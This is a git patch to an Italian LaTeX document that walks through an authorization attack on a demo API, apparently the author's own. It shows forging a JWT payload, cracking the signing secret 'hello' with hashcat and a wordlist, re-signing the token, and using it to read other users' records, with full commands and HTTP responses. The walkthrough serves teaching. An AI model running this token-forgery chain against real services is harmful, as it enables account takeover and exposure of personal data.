From 97fbebaa22fc38b4276e1e05ca41631bfdf96044 Mon Sep 17 00:00:00 2001 From: Santo Cariotti Date: Thu, 1 Dec 2022 12:39:34 +0100 Subject: docs: Requests updated --- docs/chapters/network.tex | 93 +++++++++++++++++++++++++++++++++++------------ 1 file changed, 70 insertions(+), 23 deletions(-) (limited to 'docs/chapters/network.tex') diff --git a/docs/chapters/network.tex b/docs/chapters/network.tex index 60bf08d..4b59370 100644 --- a/docs/chapters/network.tex +++ b/docs/chapters/network.tex @@ -45,24 +45,45 @@ Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità \begin{lstlisting} [Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. -eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9. -nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s\r\n] +eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. +byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4\r\n] \end{lstlisting} Decodificando il payload si vedrà \begin{lstlisting} -$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9" | base64 -d -{"user_id":1,"exp":1669282872} +$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9" | base64 -d +{"user_id":1,"exp":1670066634} \end{lstlisting} +Se volessimo vedere i dati di un utente diverso, come ad esempio l'utente 2, dovremmo richiamare +\begin{lstlisting} +xh http://m6ie.demo.dcariotti.me/v1/users/2 + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. + eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. + byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4" +HTTP/1.1 401 Unauthorized +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 37 +Content-Type: application/json +Date: Mon, 21 Nov 2022 03:20:00 GMT +Server: nginx +Vary: origin + +{ + "error": "Can't perform this action" +} +\end{lstlisting} +Questo è quello che ci aspettavamo, perché l'utente con id 1 non è uno staffer, ma non ci dà la sicurezza che l'utente con id 2 sia un utente esistente. + \section{Attacco all'autorizazzione} Ricreiamo un payload valido ma con differente "user\_id". \begin{lstlisting} -$ echo '{"user_id":2,"exp":1669282872}' | base64 -eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9Cg== +$ echo '{"user_id":2,"exp":1670066634}' | base64 +eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9Cg== $ # Il padding "Cg==" va rimosso da JWT \end{lstlisting} @@ -70,16 +91,16 @@ $ # Il padding "Cg==" va rimosso da JWT Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata. \begin{lstlisting} -xh http://m6ie.demo.dcariotti.me/v1/users/me +xh http://m6ie.demo.dcariotti.me/v1/users Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 - .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 .nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s" HTTP/1.1 400 Bad Request Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 25 Content-Type: application/json -Date: Tue, 22 Nov 2022 03:24:00 GMT +Date: Mon, 21 Nov 2022 03:24:00 GMT Server: nginx Vary: origin @@ -99,13 +120,13 @@ Per crackare la password usando Hashcat bisogna dare in input il parametro dell' $ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 -.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9 -.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s:hello +.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9 +.byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4:hello Session..........: hashcat Status...........: Cracked Hash.Type........: JWT (JSON Web Token) -Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...qcJc3s +Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...NwNjA4 \end{lstlisting} Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. @@ -113,37 +134,63 @@ Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello \subsection{Creazione token valido} Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido. +Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. + +\begin{lstlisting} +$ xh http://m6ie.demo.dcariotti.me/v1/users + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 + .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" +HTTP/1.1 200 OK +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 106 +Content-Type: application/json +Date: Mon, 21 Nov 2022 03:30:19 GMT +Server: nginx +Vary: origin + +{ + "id": 2, + "name": "Luke Skywalker", + "email": "luke@disney.com", + "username": "luke", + "is_staff": true, + "avatar": null +} +\end{lstlisting} + \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/jwt} \caption{Screenshot di Jwt.io} \end{figure} -Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. +Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. +Per caso abbiamo trovato che l'utente con id uguale a 2 è uno staffer, quindi possiamo riutilizzare questo token anche per avere i dati degli altri utenti. Infatti possiamo utilizzarlo anche per l'utente di prima (o altri). \begin{lstlisting} -$ xh http://m6ie.demo.dcariotti.me/v1/users/me +$ xh http://m6ie.demo.dcariotti.me/v1/users/1 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 - .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 - .rUXPmYWp2U5B2614Ojen1Il_5yR3D5InYCAFAeaxUmw" + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 + .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 106 Content-Type: application/json -Date: Tue, 22 Nov 2022 03:30:19 GMT +Date: Mon, 21 Nov 2022 03:35:19 GMT Server: nginx Vary: origin { - "id": 2, - "name": "Luke Skywalker", - "email": "luke@disney.com", - "username": "luke", - "is_staff": true, + "id": 1, + "name": "Santo Cariotti", + "email": "santo@dcariotti.me", + "username": "sa", + "is_staff": false, "avatar": null } \end{lstlisting} -Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. \ No newline at end of file -- cgit v1.2.3-18-g5258